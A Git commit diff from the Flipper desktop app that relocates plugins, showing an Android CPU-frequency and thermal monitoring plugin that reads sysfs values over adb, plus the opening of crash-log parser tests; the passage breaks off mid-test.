Move plugins to "sonar/desktop/plugins"
Summary: Plugins moved from "sonar/desktop/src/plugins" to "sonar/desktop/plugins". Fixed all the paths after moving. New "desktop" folder structure: - `src` - Flipper desktop app JS code executing in Electron Renderer (Chrome) process. - `static` - Flipper desktop app JS code executing in Electron Main (Node.js) process. - `plugins` - Flipper desktop JS plugins. - `pkg` - Flipper packaging lib and CLI tool. - `doctor` - Flipper diagnostics lib and CLI tool. - `scripts` - Build scripts for Flipper desktop app. - `headless` - Headless version of Flipper desktop app. - `headless-tests` - Integration tests running agains Flipper headless version. Reviewed By: mweststrate Differential Revision: D20344186 fbshipit-source-id: d020da970b2ea1e001f9061a8782bfeb54e31ba0
This commit is contained in:
committed by
Facebook GitHub Bot
parent
beb5c85e69
commit
10d990c32c
76
desktop/plugins/cpu/TemperatureTable.tsx
Normal file
76
desktop/plugins/cpu/TemperatureTable.tsx
Normal file
@@ -0,0 +1,76 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {Component, Text, SearchableTable} from 'flipper';
|
||||
import React from 'react';
|
||||
|
||||
const ColumnSizes = {
|
||||
thermal_zone: 'flex',
|
||||
temperature: 'flex',
|
||||
path: 'flex',
|
||||
};
|
||||
|
||||
const Columns = {
|
||||
thermal_zone: {
|
||||
value: 'Thermal Zone',
|
||||
resizable: true,
|
||||
},
|
||||
temperature: {
|
||||
value: 'Temperature',
|
||||
resizable: true,
|
||||
},
|
||||
path: {
|
||||
value: 'Path',
|
||||
resizable: true,
|
||||
},
|
||||
};
|
||||
|
||||
type TemperatureTableProps = {
|
||||
temperatureMap: any;
|
||||
};
|
||||
|
||||
export default class TemperatureTable extends Component<TemperatureTableProps> {
|
||||
buildRow = (tz: string, tempInfo: any) => {
|
||||
return {
|
||||
columns: {
|
||||
thermal_zone: {value: <Text>{tz}</Text>},
|
||||
temperature: {
|
||||
value: <Text>{tempInfo.temp.toString()}</Text>,
|
||||
},
|
||||
path: {
|
||||
value: <Text>{tempInfo.path}</Text>,
|
||||
},
|
||||
},
|
||||
key: tz,
|
||||
};
|
||||
};
|
||||
|
||||
buildRows = () => {
|
||||
const rows = [];
|
||||
for (const tz of Object.keys(this.props.temperatureMap).sort()) {
|
||||
rows.push(this.buildRow(tz, this.props.temperatureMap[tz]));
|
||||
}
|
||||
return rows;
|
||||
};
|
||||
|
||||
render() {
|
||||
return (
|
||||
<SearchableTable
|
||||
multiline={true}
|
||||
autoHeight={true}
|
||||
floating={false}
|
||||
zebra={true}
|
||||
columnSizes={ColumnSizes}
|
||||
columns={Columns}
|
||||
rows={this.buildRows()}
|
||||
grow={true}
|
||||
/>
|
||||
);
|
||||
}
|
||||
}
|
||||
679
desktop/plugins/cpu/index.tsx
Normal file
679
desktop/plugins/cpu/index.tsx
Normal file
@@ -0,0 +1,679 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {FlipperDevicePlugin, Device, AndroidDevice} from 'flipper';
|
||||
import adb, {Client as ADBClient} from 'adbkit';
|
||||
import TemperatureTable from './TemperatureTable';
|
||||
|
||||
import {
|
||||
FlexColumn,
|
||||
Button,
|
||||
Toolbar,
|
||||
Text,
|
||||
ManagedTable,
|
||||
colors,
|
||||
styled,
|
||||
Panel,
|
||||
DetailSidebar,
|
||||
ToggleButton,
|
||||
} from 'flipper';
|
||||
import React from 'react';
|
||||
|
||||
type TableRows = any;
|
||||
|
||||
// we keep vairable name with underline for to physical path mappings on device
|
||||
type CPUFrequency = {
|
||||
[index: string]: number | Array<number> | string | Array<string>;
|
||||
cpu_id: number;
|
||||
scaling_cur_freq: number;
|
||||
scaling_min_freq: number;
|
||||
scaling_max_freq: number;
|
||||
scaling_available_freqs: Array<number>;
|
||||
scaling_governor: string;
|
||||
scaling_available_governors: Array<string>;
|
||||
cpuinfo_max_freq: number;
|
||||
cpuinfo_min_freq: number;
|
||||
};
|
||||
|
||||
type CPUState = {
|
||||
cpuFreq: Array<CPUFrequency>;
|
||||
cpuCount: number;
|
||||
monitoring: boolean;
|
||||
hardwareInfo: string;
|
||||
selectedIds: Array<number>;
|
||||
temperatureMap: any;
|
||||
thermalAccessible: boolean;
|
||||
displayThermalInfo: boolean;
|
||||
displayCPUDetail: boolean;
|
||||
};
|
||||
|
||||
type ShellCallBack = (output: string) => any;
|
||||
|
||||
const ColumnSizes = {
|
||||
cpu_id: '10%',
|
||||
scaling_cur_freq: 'flex',
|
||||
scaling_min_freq: 'flex',
|
||||
scaling_max_freq: 'flex',
|
||||
cpuinfo_min_freq: 'flex',
|
||||
cpuinfo_max_freq: 'flex',
|
||||
};
|
||||
|
||||
const Columns = {
|
||||
cpu_id: {
|
||||
value: 'CPU ID',
|
||||
resizable: true,
|
||||
},
|
||||
scaling_cur_freq: {
|
||||
value: 'Scaling Current',
|
||||
resizable: true,
|
||||
},
|
||||
scaling_min_freq: {
|
||||
value: 'Scaling MIN',
|
||||
resizable: true,
|
||||
},
|
||||
scaling_max_freq: {
|
||||
value: 'Scaling MAX',
|
||||
resizable: true,
|
||||
},
|
||||
cpuinfo_min_freq: {
|
||||
value: 'MIN Frequency',
|
||||
resizable: true,
|
||||
},
|
||||
cpuinfo_max_freq: {
|
||||
value: 'MAX Frequency',
|
||||
resizable: true,
|
||||
},
|
||||
scaling_governor: {
|
||||
value: 'Scaling Governor',
|
||||
resizable: true,
|
||||
},
|
||||
};
|
||||
|
||||
const Heading = styled.div({
|
||||
fontWeight: 'bold',
|
||||
fontSize: 13,
|
||||
display: 'block',
|
||||
marginBottom: 10,
|
||||
'&:not(:first-child)': {
|
||||
marginTop: 20,
|
||||
},
|
||||
});
|
||||
|
||||
// check if str is a number
|
||||
function isNormalInteger(str: string) {
|
||||
const n = Math.floor(Number(str));
|
||||
return String(n) === str && n >= 0;
|
||||
}
|
||||
|
||||
// format frequency to MHz, GHz
|
||||
function formatFrequency(freq: number) {
|
||||
if (freq == -1) {
|
||||
return 'N/A';
|
||||
} else if (freq == -2) {
|
||||
return 'off';
|
||||
} else if (freq > 1000 * 1000) {
|
||||
return (freq / 1000 / 1000).toFixed(2) + ' GHz';
|
||||
} else {
|
||||
return freq / 1000 + ' MHz';
|
||||
}
|
||||
}
|
||||
|
||||
export default class CPUFrequencyTable extends FlipperDevicePlugin<
|
||||
CPUState,
|
||||
any,
|
||||
any
|
||||
> {
|
||||
intervalID: NodeJS.Timer | null = null;
|
||||
state: CPUState = {
|
||||
cpuCount: 0,
|
||||
cpuFreq: [],
|
||||
monitoring: false,
|
||||
hardwareInfo: '',
|
||||
selectedIds: [],
|
||||
temperatureMap: {},
|
||||
thermalAccessible: true,
|
||||
displayThermalInfo: false,
|
||||
displayCPUDetail: true,
|
||||
};
|
||||
|
||||
static supportsDevice(device: Device) {
|
||||
return device.os === 'Android' && device.deviceType === 'physical';
|
||||
}
|
||||
|
||||
init() {
|
||||
this.updateHardwareInfo();
|
||||
this.readThermalZones();
|
||||
|
||||
// check how many cores we have on this device
|
||||
this.executeShell((output: string) => {
|
||||
const idx = output.indexOf('-');
|
||||
const cpuFreq = [];
|
||||
const count = parseInt(output.substring(idx + 1), 10) + 1;
|
||||
for (let i = 0; i < count; ++i) {
|
||||
cpuFreq[i] = {
|
||||
cpu_id: i,
|
||||
scaling_cur_freq: -1,
|
||||
scaling_min_freq: -1,
|
||||
scaling_max_freq: -1,
|
||||
cpuinfo_min_freq: -1,
|
||||
cpuinfo_max_freq: -1,
|
||||
scaling_available_freqs: [],
|
||||
scaling_governor: 'N/A',
|
||||
scaling_available_governors: [],
|
||||
};
|
||||
}
|
||||
this.setState({
|
||||
cpuCount: count,
|
||||
cpuFreq: cpuFreq,
|
||||
monitoring: false,
|
||||
hardwareInfo: '',
|
||||
selectedIds: [],
|
||||
temperatureMap: {},
|
||||
thermalAccessible: true,
|
||||
displayThermalInfo: false,
|
||||
displayCPUDetail: true,
|
||||
});
|
||||
}, 'cat /sys/devices/system/cpu/possible');
|
||||
}
|
||||
executeShell = (callback: ShellCallBack, command: string) => {
|
||||
return (this.device as AndroidDevice).adb
|
||||
.shell(this.device.serial, command)
|
||||
.then(adb.util.readAll)
|
||||
.then(function(output: {toString: () => {trim: () => string}}) {
|
||||
return callback(output.toString().trim());
|
||||
});
|
||||
};
|
||||
|
||||
updateCoreFrequency = (core: number, type: string) => {
|
||||
this.executeShell((output: string) => {
|
||||
const cpuFreq = this.state.cpuFreq;
|
||||
const newFreq = isNormalInteger(output) ? parseInt(output, 10) : -1;
|
||||
// update table only if frequency changed
|
||||
if (cpuFreq[core][type] != newFreq) {
|
||||
cpuFreq[core][type] = newFreq;
|
||||
if (type == 'scaling_cur_freq' && cpuFreq[core][type] < 0) {
|
||||
// cannot find current freq means offline
|
||||
cpuFreq[core][type] = -2;
|
||||
}
|
||||
|
||||
this.setState({
|
||||
cpuFreq: cpuFreq,
|
||||
});
|
||||
}
|
||||
}, 'cat /sys/devices/system/cpu/cpu' + core + '/cpufreq/' + type);
|
||||
};
|
||||
|
||||
updateAvailableFrequencies = (core: number) => {
|
||||
this.executeShell((output: string) => {
|
||||
const cpuFreq = this.state.cpuFreq;
|
||||
const freqs = output.split(' ').map((num: string) => {
|
||||
return parseInt(num, 10);
|
||||
});
|
||||
cpuFreq[core].scaling_available_freqs = freqs;
|
||||
const maxFreq = cpuFreq[core].scaling_max_freq;
|
||||
if (maxFreq > 0 && freqs.indexOf(maxFreq) == -1) {
|
||||
freqs.push(maxFreq); // always add scaling max to available frequencies
|
||||
}
|
||||
this.setState({
|
||||
cpuFreq: cpuFreq,
|
||||
});
|
||||
}, 'cat /sys/devices/system/cpu/cpu' + core + '/cpufreq/scaling_available_frequencies');
|
||||
};
|
||||
|
||||
updateCoreGovernor = (core: number) => {
|
||||
this.executeShell((output: string) => {
|
||||
const cpuFreq = this.state.cpuFreq;
|
||||
if (output.toLowerCase().includes('no such file')) {
|
||||
cpuFreq[core].scaling_governor = 'N/A';
|
||||
} else {
|
||||
cpuFreq[core].scaling_governor = output;
|
||||
}
|
||||
this.setState({
|
||||
cpuFreq: cpuFreq,
|
||||
});
|
||||
}, 'cat /sys/devices/system/cpu/cpu' + core + '/cpufreq/scaling_governor');
|
||||
};
|
||||
|
||||
readAvailableGovernors = (core: number) => {
|
||||
this.executeShell((output: string) => {
|
||||
const cpuFreq = this.state.cpuFreq;
|
||||
cpuFreq[core].scaling_available_governors = output.split(' ');
|
||||
|
||||
this.setState({
|
||||
cpuFreq: cpuFreq,
|
||||
});
|
||||
}, 'cat /sys/devices/system/cpu/cpu' + core + '/cpufreq/scaling_available_governors');
|
||||
};
|
||||
|
||||
readCoreFrequency = (core: number) => {
|
||||
const freq = this.state.cpuFreq[core];
|
||||
if (freq.cpuinfo_max_freq < 0) {
|
||||
this.updateCoreFrequency(core, 'cpuinfo_max_freq');
|
||||
}
|
||||
if (freq.cpuinfo_min_freq < 0) {
|
||||
this.updateCoreFrequency(core, 'cpuinfo_min_freq');
|
||||
}
|
||||
this.updateCoreFrequency(core, 'scaling_cur_freq');
|
||||
this.updateCoreFrequency(core, 'scaling_min_freq');
|
||||
this.updateCoreFrequency(core, 'scaling_max_freq');
|
||||
};
|
||||
|
||||
updateHardwareInfo = () => {
|
||||
this.executeShell((output: string) => {
|
||||
let hwInfo = '';
|
||||
if (
|
||||
output.startsWith('msm') ||
|
||||
output.startsWith('apq') ||
|
||||
output.startsWith('sdm')
|
||||
) {
|
||||
hwInfo = 'QUALCOMM ' + output.toUpperCase();
|
||||
} else if (output.startsWith('exynos')) {
|
||||
this.executeShell((output: string) => {
|
||||
if (output != null) {
|
||||
this.setState({
|
||||
hardwareInfo: 'SAMSUMG ' + output.toUpperCase(),
|
||||
});
|
||||
}
|
||||
}, 'getprop ro.chipname');
|
||||
return;
|
||||
} else if (output.startsWith('mt')) {
|
||||
hwInfo = 'MEDIATEK ' + output.toUpperCase();
|
||||
} else if (output.startsWith('sc')) {
|
||||
hwInfo = 'SPREADTRUM ' + output.toUpperCase();
|
||||
} else if (output.startsWith('hi') || output.startsWith('kirin')) {
|
||||
hwInfo = 'HISILICON ' + output.toUpperCase();
|
||||
} else if (output.startsWith('rk')) {
|
||||
hwInfo = 'ROCKCHIP ' + output.toUpperCase();
|
||||
} else if (output.startsWith('bcm')) {
|
||||
hwInfo = 'BROADCOM ' + output.toUpperCase();
|
||||
}
|
||||
this.setState({
|
||||
hardwareInfo: hwInfo,
|
||||
});
|
||||
}, 'getprop ro.board.platform');
|
||||
};
|
||||
|
||||
readThermalZones = () => {
|
||||
const thermal_dir = '/sys/class/thermal/';
|
||||
const map = {};
|
||||
this.executeShell(async (output: string) => {
|
||||
if (output.toLowerCase().includes('permission denied')) {
|
||||
this.setState({thermalAccessible: false});
|
||||
return;
|
||||
}
|
||||
const dirs = output.split(/\s/);
|
||||
const promises = [];
|
||||
for (let d of dirs) {
|
||||
d = d.trim();
|
||||
if (d.length == 0) {
|
||||
continue;
|
||||
}
|
||||
const path = thermal_dir + d;
|
||||
promises.push(this.readThermalZone(path, d, map));
|
||||
}
|
||||
await Promise.all(promises);
|
||||
this.setState({temperatureMap: map, thermalAccessible: true});
|
||||
if (this.state.displayThermalInfo) {
|
||||
setTimeout(this.readThermalZones, 1000);
|
||||
}
|
||||
}, 'ls ' + thermal_dir);
|
||||
};
|
||||
|
||||
readThermalZone = (path: string, dir: string, map: any) => {
|
||||
return this.executeShell((type: string) => {
|
||||
if (type.length == 0) {
|
||||
return;
|
||||
}
|
||||
return this.executeShell((temp: string) => {
|
||||
if (Number.isNaN(Number(temp))) {
|
||||
return;
|
||||
}
|
||||
map[type] = {
|
||||
path: dir,
|
||||
temp: parseInt(temp, 10),
|
||||
};
|
||||
}, 'cat ' + path + '/temp');
|
||||
}, 'cat ' + path + '/type');
|
||||
};
|
||||
|
||||
onStartMonitor = () => {
|
||||
if (this.intervalID) {
|
||||
return;
|
||||
}
|
||||
|
||||
for (let i = 0; i < this.state.cpuCount; ++i) {
|
||||
this.readAvailableGovernors(i);
|
||||
}
|
||||
|
||||
this.intervalID = setInterval(() => {
|
||||
for (let i = 0; i < this.state.cpuCount; ++i) {
|
||||
this.readCoreFrequency(i);
|
||||
this.updateCoreGovernor(i);
|
||||
this.updateAvailableFrequencies(i); // scaling max might change, so we also update this
|
||||
}
|
||||
}, 500);
|
||||
|
||||
this.setState({
|
||||
monitoring: true,
|
||||
});
|
||||
};
|
||||
|
||||
onStopMonitor = () => {
|
||||
if (!this.intervalID) {
|
||||
return;
|
||||
} else {
|
||||
clearInterval(this.intervalID);
|
||||
this.intervalID = null;
|
||||
this.setState({
|
||||
monitoring: false,
|
||||
});
|
||||
this.cleanup();
|
||||
}
|
||||
};
|
||||
|
||||
cleanup = () => {
|
||||
const cpuFreq = this.state.cpuFreq;
|
||||
for (let i = 0; i < this.state.cpuCount; ++i) {
|
||||
cpuFreq[i].scaling_cur_freq = -1;
|
||||
cpuFreq[i].scaling_min_freq = -1;
|
||||
cpuFreq[i].scaling_max_freq = -1;
|
||||
cpuFreq[i].scaling_available_freqs = [];
|
||||
cpuFreq[i].scaling_governor = 'N/A';
|
||||
// we don't cleanup cpuinfo_min_freq, cpuinfo_max_freq
|
||||
// because usually they are fixed (hardware)
|
||||
}
|
||||
this.setState({
|
||||
cpuFreq: cpuFreq,
|
||||
});
|
||||
};
|
||||
|
||||
teardown() {
|
||||
this.cleanup();
|
||||
}
|
||||
|
||||
buildRow = (freq: CPUFrequency, idx: number) => {
|
||||
const selected = this.state.selectedIds.indexOf(idx) >= 0;
|
||||
let style = {};
|
||||
if (freq.scaling_cur_freq == -2) {
|
||||
style = {
|
||||
style: {
|
||||
backgroundColor: colors.blueTint30,
|
||||
color: colors.white,
|
||||
fontWeight: 700,
|
||||
},
|
||||
};
|
||||
} else if (
|
||||
freq.scaling_min_freq != freq.cpuinfo_min_freq &&
|
||||
freq.scaling_min_freq > 0 &&
|
||||
freq.cpuinfo_min_freq > 0
|
||||
) {
|
||||
style = {
|
||||
style: {
|
||||
backgroundColor: selected ? colors.red : colors.redTint,
|
||||
color: colors.red,
|
||||
fontWeight: 700,
|
||||
},
|
||||
};
|
||||
} else if (
|
||||
freq.scaling_max_freq != freq.cpuinfo_max_freq &&
|
||||
freq.scaling_max_freq > 0 &&
|
||||
freq.cpuinfo_max_freq > 0
|
||||
) {
|
||||
style = {
|
||||
style: {
|
||||
backgroundColor: colors.yellowTint,
|
||||
color: colors.yellow,
|
||||
fontWeight: 700,
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
return {
|
||||
columns: {
|
||||
cpu_id: {value: <Text>CPU_{freq.cpu_id}</Text>},
|
||||
scaling_cur_freq: {
|
||||
value: <Text>{formatFrequency(freq.scaling_cur_freq)}</Text>,
|
||||
},
|
||||
scaling_min_freq: {
|
||||
value: <Text>{formatFrequency(freq.scaling_min_freq)}</Text>,
|
||||
},
|
||||
scaling_max_freq: {
|
||||
value: <Text>{formatFrequency(freq.scaling_max_freq)}</Text>,
|
||||
},
|
||||
cpuinfo_min_freq: {
|
||||
value: <Text>{formatFrequency(freq.cpuinfo_min_freq)}</Text>,
|
||||
},
|
||||
cpuinfo_max_freq: {
|
||||
value: <Text>{formatFrequency(freq.cpuinfo_max_freq)}</Text>,
|
||||
},
|
||||
scaling_governor: {
|
||||
value: <Text>{freq.scaling_governor}</Text>,
|
||||
},
|
||||
},
|
||||
key: freq.cpu_id,
|
||||
|
||||
style,
|
||||
};
|
||||
};
|
||||
|
||||
frequencyRows = (cpuFreqs: Array<CPUFrequency>): TableRows => {
|
||||
return cpuFreqs.map(this.buildRow);
|
||||
};
|
||||
|
||||
buildAvailableFreqList = (freq: CPUFrequency) => {
|
||||
if (freq.scaling_available_freqs.length == 0) {
|
||||
return <Text>N/A</Text>;
|
||||
}
|
||||
const info = freq;
|
||||
return (
|
||||
<Text>
|
||||
{freq.scaling_available_freqs.map((freq, idx) => {
|
||||
const style: React.CSSProperties = {};
|
||||
if (
|
||||
freq == info.scaling_cur_freq ||
|
||||
freq == info.scaling_min_freq ||
|
||||
freq == info.scaling_max_freq
|
||||
) {
|
||||
style.fontWeight = 'bold';
|
||||
}
|
||||
return (
|
||||
<Text key={idx} style={style}>
|
||||
{formatFrequency(freq)}
|
||||
{freq == info.scaling_cur_freq && (
|
||||
<Text style={style}> (scaling current)</Text>
|
||||
)}
|
||||
{freq == info.scaling_min_freq && (
|
||||
<Text style={style}> (scaling min)</Text>
|
||||
)}
|
||||
{freq == info.scaling_max_freq && (
|
||||
<Text style={style}> (scaling max)</Text>
|
||||
)}
|
||||
<br />
|
||||
</Text>
|
||||
);
|
||||
})}
|
||||
</Text>
|
||||
);
|
||||
};
|
||||
|
||||
buildAvailableGovList = (freq: CPUFrequency): string => {
|
||||
if (freq.scaling_available_governors.length == 0) {
|
||||
return 'N/A';
|
||||
}
|
||||
return freq.scaling_available_governors.join(', ');
|
||||
};
|
||||
|
||||
buildSidebarRow = (key: string, val: any) => {
|
||||
return {
|
||||
columns: {
|
||||
key: {value: <Text>{key}</Text>},
|
||||
value: {
|
||||
value: val,
|
||||
},
|
||||
},
|
||||
key: key,
|
||||
};
|
||||
};
|
||||
|
||||
sidebarRows = (id: number) => {
|
||||
let availableFreqTitle = 'Scaling Available Frequencies';
|
||||
const selected = this.state.cpuFreq[id];
|
||||
if (selected.scaling_available_freqs.length > 0) {
|
||||
availableFreqTitle +=
|
||||
' (' + selected.scaling_available_freqs.length.toString() + ')';
|
||||
}
|
||||
|
||||
const keys = [availableFreqTitle, 'Scaling Available Governors'];
|
||||
|
||||
const vals = [
|
||||
this.buildAvailableFreqList(selected),
|
||||
this.buildAvailableGovList(selected),
|
||||
];
|
||||
return keys.map<any>((key, idx) => {
|
||||
return this.buildSidebarRow(key, vals[idx]);
|
||||
});
|
||||
};
|
||||
|
||||
renderCPUSidebar = () => {
|
||||
if (!this.state.displayCPUDetail || this.state.selectedIds.length == 0) {
|
||||
return null;
|
||||
}
|
||||
const id = this.state.selectedIds[0];
|
||||
const cols = {
|
||||
key: {
|
||||
value: 'key',
|
||||
resizable: true,
|
||||
},
|
||||
value: {
|
||||
value: 'value',
|
||||
resizable: true,
|
||||
},
|
||||
};
|
||||
const colSizes = {
|
||||
key: '35%',
|
||||
value: 'flex',
|
||||
};
|
||||
return (
|
||||
<DetailSidebar width={500}>
|
||||
<Panel
|
||||
padded={true}
|
||||
heading="CPU details"
|
||||
floating={false}
|
||||
collapsable={true}
|
||||
grow={true}>
|
||||
<Heading>CPU_{id}</Heading>
|
||||
<ManagedTable
|
||||
columnSizes={colSizes}
|
||||
multiline={true}
|
||||
columns={cols}
|
||||
autoHeight={true}
|
||||
floating={false}
|
||||
zebra={true}
|
||||
rows={this.sidebarRows(id)}
|
||||
/>
|
||||
</Panel>
|
||||
</DetailSidebar>
|
||||
);
|
||||
};
|
||||
|
||||
renderThermalSidebar = () => {
|
||||
if (!this.state.displayThermalInfo) {
|
||||
return null;
|
||||
}
|
||||
return (
|
||||
<DetailSidebar width={500}>
|
||||
<Panel
|
||||
padded={true}
|
||||
heading="Thermal Information"
|
||||
floating={false}
|
||||
collapsable={true}
|
||||
grow={false}>
|
||||
{this.state.thermalAccessible ? (
|
||||
<TemperatureTable temperatureMap={this.state.temperatureMap} />
|
||||
) : (
|
||||
'Temperature information not accessible on this device.'
|
||||
)}
|
||||
</Panel>
|
||||
</DetailSidebar>
|
||||
);
|
||||
};
|
||||
|
||||
toggleThermalSidebar = () => {
|
||||
if (!this.state.displayThermalInfo) {
|
||||
this.readThermalZones();
|
||||
}
|
||||
this.setState({
|
||||
displayThermalInfo: !this.state.displayThermalInfo,
|
||||
displayCPUDetail: false,
|
||||
});
|
||||
};
|
||||
|
||||
toggleCPUSidebar = () => {
|
||||
this.setState({
|
||||
displayCPUDetail: !this.state.displayCPUDetail,
|
||||
displayThermalInfo: false,
|
||||
});
|
||||
};
|
||||
|
||||
render() {
|
||||
return (
|
||||
<Panel
|
||||
padded={false}
|
||||
heading="CPU info"
|
||||
floating={false}
|
||||
collapsable={false}
|
||||
grow={true}>
|
||||
<Toolbar position="top">
|
||||
{this.state.monitoring ? (
|
||||
<Button onClick={this.onStopMonitor} icon="pause">
|
||||
Pause
|
||||
</Button>
|
||||
) : (
|
||||
<Button onClick={this.onStartMonitor} icon="play">
|
||||
Start
|
||||
</Button>
|
||||
)}
|
||||
{this.state.hardwareInfo}
|
||||
<ToggleButton
|
||||
toggled={this.state.displayThermalInfo}
|
||||
onClick={this.toggleThermalSidebar}
|
||||
/>
|
||||
Thermal Information
|
||||
<ToggleButton
|
||||
onClick={this.toggleCPUSidebar}
|
||||
toggled={this.state.displayCPUDetail}
|
||||
/>
|
||||
CPU Details
|
||||
{this.state.displayCPUDetail &&
|
||||
this.state.selectedIds.length == 0 &&
|
||||
' (Please select a core in the table below)'}
|
||||
</Toolbar>
|
||||
|
||||
<FlexColumn grow={true}>
|
||||
<ManagedTable
|
||||
multiline={true}
|
||||
columnSizes={ColumnSizes}
|
||||
columns={Columns}
|
||||
autoHeight={true}
|
||||
floating={false}
|
||||
zebra={true}
|
||||
rows={this.frequencyRows(this.state.cpuFreq)}
|
||||
onRowHighlighted={selectedIds => {
|
||||
this.setState({
|
||||
selectedIds: selectedIds.map(parseInt),
|
||||
});
|
||||
}}
|
||||
/>
|
||||
{this.renderCPUSidebar()}
|
||||
{this.renderThermalSidebar()}
|
||||
</FlexColumn>
|
||||
</Panel>
|
||||
);
|
||||
}
|
||||
}
|
||||
12
desktop/plugins/cpu/package.json
Normal file
12
desktop/plugins/cpu/package.json
Normal file
@@ -0,0 +1,12 @@
|
||||
{
|
||||
"name": "DeviceCPU",
|
||||
"version": "1.0.0",
|
||||
"main": "index.tsx",
|
||||
"license": "MIT",
|
||||
"keywords": ["flipper-plugin"],
|
||||
"title": "CPU",
|
||||
"icon": "underline",
|
||||
"bugs": {
|
||||
"email": "barney@fb.com"
|
||||
}
|
||||
}
|
||||
4
desktop/plugins/cpu/yarn.lock
Normal file
4
desktop/plugins/cpu/yarn.lock
Normal file
@@ -0,0 +1,4 @@
|
||||
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
|
||||
# yarn lockfile v1
|
||||
|
||||
|
||||
@@ -0,0 +1,371 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import BaseDevice from '../../../src/devices/BaseDevice.tsx';
|
||||
import CrashReporterPlugin from '../../crash_reporter';
|
||||
import type {PersistedState, Crash} from '../../crash_reporter';
|
||||
import {
|
||||
parseCrashLog,
|
||||
getNewPersisitedStateFromCrashLog,
|
||||
parsePath,
|
||||
shouldShowCrashNotification,
|
||||
} from '../../crash_reporter';
|
||||
import {
|
||||
getPluginKey,
|
||||
getPersistedState,
|
||||
} from '../../../src/utils/pluginUtils.tsx';
|
||||
|
||||
function setDefaultPersistedState(defaultState: PersistedState) {
|
||||
CrashReporterPlugin.defaultPersistedState = defaultState;
|
||||
}
|
||||
|
||||
function setNotificationID(notificationID: number) {
|
||||
CrashReporterPlugin.notificationID = notificationID;
|
||||
}
|
||||
|
||||
function setCrashReporterPluginID(id: string) {
|
||||
CrashReporterPlugin.id = id;
|
||||
}
|
||||
|
||||
function getCrash(
|
||||
id: number,
|
||||
callstack: string,
|
||||
name: string,
|
||||
reason: string,
|
||||
): Crash {
|
||||
return {
|
||||
notificationID: id.toString(),
|
||||
callstack: callstack,
|
||||
reason: reason,
|
||||
name: name,
|
||||
date: new Date(),
|
||||
};
|
||||
}
|
||||
|
||||
function assertCrash(crash: Crash, expectedCrash: Crash) {
|
||||
const {notificationID, callstack, reason, name, date} = crash;
|
||||
expect(notificationID).toEqual(expectedCrash.notificationID);
|
||||
expect(callstack).toEqual(expectedCrash.callstack);
|
||||
expect(reason).toEqual(expectedCrash.reason);
|
||||
expect(name).toEqual(expectedCrash.name);
|
||||
expect(date.toDateString()).toEqual(expectedCrash.date.toDateString());
|
||||
}
|
||||
|
||||
beforeEach(() => {
|
||||
setNotificationID(0); // Resets notificationID to 0
|
||||
setDefaultPersistedState({crashes: []}); // Resets defaultpersistedstate
|
||||
setCrashReporterPluginID('CrashReporter');
|
||||
});
|
||||
|
||||
afterAll(() => {
|
||||
// Reset values
|
||||
setNotificationID(0);
|
||||
setDefaultPersistedState({crashes: []});
|
||||
setCrashReporterPluginID('');
|
||||
});
|
||||
|
||||
test('test the parsing of the date and crash info for the log which matches the predefined regex', () => {
|
||||
const log =
|
||||
'Blaa Blaaa \n Blaa Blaaa \n Exception Type: SIGSEGV \n Blaa Blaa \n Blaa Blaa Date/Time: 2019-03-21 12:07:00.861 +0000 \n Blaa balaaa';
|
||||
const crash = parseCrashLog(log, 'iOS');
|
||||
expect(crash.callstack).toEqual(log);
|
||||
expect(crash.reason).toEqual('SIGSEGV');
|
||||
expect(crash.name).toEqual('SIGSEGV');
|
||||
expect(crash.date).toEqual(new Date('2019-03-21 12:07:00.861'));
|
||||
});
|
||||
|
||||
test('test the parsing of the reason for crash when log matches the crash regex, but there is no mention of date', () => {
|
||||
const log =
|
||||
'Blaa Blaaa \n Blaa Blaaa \n Exception Type: SIGSEGV \n Blaa Blaa \n Blaa Blaa';
|
||||
const crash = parseCrashLog(log, 'iOS');
|
||||
expect(crash.callstack).toEqual(log);
|
||||
expect(crash.reason).toEqual('SIGSEGV');
|
||||
expect(crash.name).toEqual('SIGSEGV');
|
||||
expect(crash.date).toBeUndefined();
|
||||
});
|
||||
|
||||
test('test the parsing of the crash log when log does not match the predefined regex but is alphanumeric', () => {
|
||||
const log = 'Blaa Blaaa \n Blaa Blaaa \n Blaa Blaaa';
|
||||
const crash = parseCrashLog(log, 'iOS');
|
||||
expect(crash.callstack).toEqual(log);
|
||||
expect(crash.reason).toEqual('Cannot figure out the cause');
|
||||
expect(crash.name).toEqual('Cannot figure out the cause');
|
||||
});
|
||||
|
||||
test('test the parsing of the reason for crash when log does not match the predefined regex contains unicode character', () => {
|
||||
const log =
|
||||
'Blaa Blaaa \n Blaa Blaaa \n Exception Type: 🍕🐬 \n Blaa Blaa \n Blaa Blaa';
|
||||
const crash = parseCrashLog(log, 'iOS');
|
||||
expect(crash.callstack).toEqual(log);
|
||||
expect(crash.reason).toEqual('Cannot figure out the cause');
|
||||
expect(crash.name).toEqual('Cannot figure out the cause');
|
||||
expect(crash.date).toBeUndefined();
|
||||
});
|
||||
test('test the parsing of the reason for crash when log is empty', () => {
|
||||
const log = '';
|
||||
const crash = parseCrashLog(log, 'iOS');
|
||||
expect(crash.callstack).toEqual(log);
|
||||
expect(crash.reason).toEqual('Cannot figure out the cause');
|
||||
expect(crash.name).toEqual('Cannot figure out the cause');
|
||||
expect(crash.date).toBeUndefined();
|
||||
});
|
||||
test('test the parsing of the Android crash log for the proper android crash format', () => {
|
||||
const log =
|
||||
